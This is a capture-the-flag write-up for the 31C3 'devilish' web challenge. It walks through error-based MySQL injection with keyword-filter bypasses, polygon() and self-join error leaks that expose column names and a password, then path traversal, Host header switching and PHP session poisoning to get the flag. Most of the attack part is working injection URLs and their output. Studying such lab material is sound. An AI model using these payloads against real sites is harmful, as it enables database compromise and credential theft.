31C3 CTF 'devilish' writeup
devilish was a web challenge worth 30 points at the 31C3 CTF.
SQL injection
The website itself offered a login form as well as a member list and profile pages. The profile pages used a rewritten URL:
http://188.40.18.70/PROFILE/55/Dracula
We found a SQL injection vulnerability by adding a backslash \
either after the 55 or Dracula:
http://188.40.18.70/PROFILE/55\/Dracula
This produces an error message in a Halloween-type font, so only checking the HTML source reveals it:
We are dealing with a MySQL dbms and the error is obviously due to the '
getting escaped by the backslash. We also learned a table name: users
.
However, the actual injection was rather tricky as a lot of SQL keywords were filtered, such as UNION
, GROUP
, OR
(therefore blocking also infORmation_schema), FILE
, '
, /*
, spaces and some more.
Note that in MySQL you can bypass a filter on spaces rather easily with either making use of paranthesis or by using ASCII chars, which MySQL interprets as spaces, such as %09 (tab), %0a (new line), %0b, %0c. %a0.
Without being able to access information_schema
we could not retrieve the column names of table users
in the traditional way.
First we checked the number of columns in users:
http://188.40.18.70/PROFILE/55\/||(select*from(users))=1--%09-
The error output of this gave us the number of columns:
Operand should contain 8 column(s)
Then we continued by using an error based injection with the polygon() method. Queries passed to polygon() are expanded and reflected in the error message:
http://188.40.18.70/PROFILE/55\/||polygon((select(1)from(select*from(users))x))--%09-
The output of this was the following:
Illegal non geometric '(select 1 from (select `devilish`.`users`.`id_user` AS `id_user`,`devilish`.`users`.`Us3rN4m3` AS `Us3rN4m3`,`devilish`.`users`.`Em4iL4dR3Szz` AS `Em4iL4dR3Szz`,`devilish`.`users`.`S4cR3dT3xT0' value found during parsing
As you can see, we now had learned some column names already. However, the output was cut off since the length of error messages was limited. We could get more output by retrieving only a row of NULLs:
http://188.40.18.70/PROFILE/55\/||polygon((select(1)from(select*from(users)where(id_user=0))x))--%09-
Now the output for each column was shorter and we learned additional column names:
Illegal non geometric '(select 1 from (select NULL AS `id_user`,NULL AS `Us3rN4m3`,NULL AS `Em4iL4dR3Szz`,NULL AS `S4cR3dT3xT0Fm3`,NULL AS `MyPh0N3NumB3RHAHA`,NULL AS `Addr3Zz0F_tHi5_D3wD`,NULL AS `CHAR_LOL`,NULL AS' value found during parsing
Unfortunately, the last column name - the one for the password column :) - didn’t fit into the error message, it was cut off at NULL AS.
Another way to leak column names is to join a table with itself:
http://188.40.18.70/PROFILE/55\/||(select(1)from(select*from(users)join(users`x`))f)--%09-
Note, that you need to give the second users table an alias, otherwise MySQL will complain about duplicate tables. This gave us the first column:
Duplicate column name 'id_user'
To get the remaining column names, we have to trick MySQL into ignoring the columns we are not interested in. This can be done with the USING
keyword. MySQL assumes that columns passed in a list after USING
are present in both tables of the join and joins the table on them:
http://188.40.18.70/PROFILE/55\/||(select(1)from(select*from(users)join(users`x`)using(id_user))f)--%09-
And we get the second column:
Duplicate column name 'Us3rN4m3'
We could retrieve all columns - including the last one - with this method:
http://188.40.18.70/PROFILE/55\/||(select(1)from(select*from(users)join(users`x`)using(id_user,Us3rN4m3,Em4iL4dR3Szz,
S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL)))f)--%09-
Which gave us the password column:
Duplicate column name 'P4sWW0rD_0F_M3_WTF'
Then with simple error based injection we retrieved a login:
http://188.40.18.70/PROFILE/55\/||polygon((select(1)from(select(Us3rN4m3),(P4sWW0rD_0F_M3_WTF)from(users)where(id_user=55))x))--%09-
The output is the username and password of the user with id=55:
Illegal non geometric '(select 1 from (select 'Dracula' AS `Us3rN4m3`,'ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz' AS `P4sWW0rD_0F_M3_WTF` from `devilish`.`users` where ('55' = 55)) `x`)' value found during parsing
user: Dracula
pass: ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
Directory Listings
When logging in, we were greeted with a page allowing us to browse some directories of the logged in user. However, with simple path traversal it was easy to manage to browse any directory on the server:
We were able to access some of the source pages of the website in the following folder:
http://188.40.18.70/ACCESS?action=browse&dir=../../__WebSiteFuckingPrivateContentNotForPublic666
We could read the LOGIN script, by simply navigating to the file with the browser:
Notice that the $_SESSION
variable will be set to the $_POST
variable here. We will need to use this fact later on.
Other directories of interest were /home/user and /home/devilish.local. The former contained a flag.txt
, but there was no way to read it, while the latter contained website files similar to the ones we already knew. Further investigation into the server revealed that in /etc/apache2/sites-enabled next to the default site, the devilish.local virtual host was enabled as well, serving a website out of the /home/devilish.local directory.
Private portal
With simply changing the Host header of the http request to devilish.local
, we could then access the website presenting us with a login prompt to a private portal. Again we could fetch the source code of the login page:
Notice, that the session variable is_ExclusiveMember
is used to mark a user as logged in. PHP sessions are not aware of virtual hosts by default and are shared between them. This means, we actually have control over the $_SESSION
variable, as in the first LOGIN script, it is set to $_POST
.
The things left to do are to login in the first LOGIN script and supply an additional POST parameter is_ExclusiveMember=1
. Using the new session cookie, we then make a request to the private LOGIN script and get the flag displayed.
Here's your secret 31c3_Th3r3_4R3_D3v1li5h_Th0ght5_ev3N_1N_th3_M0sT_4ng3l1c_M1nd5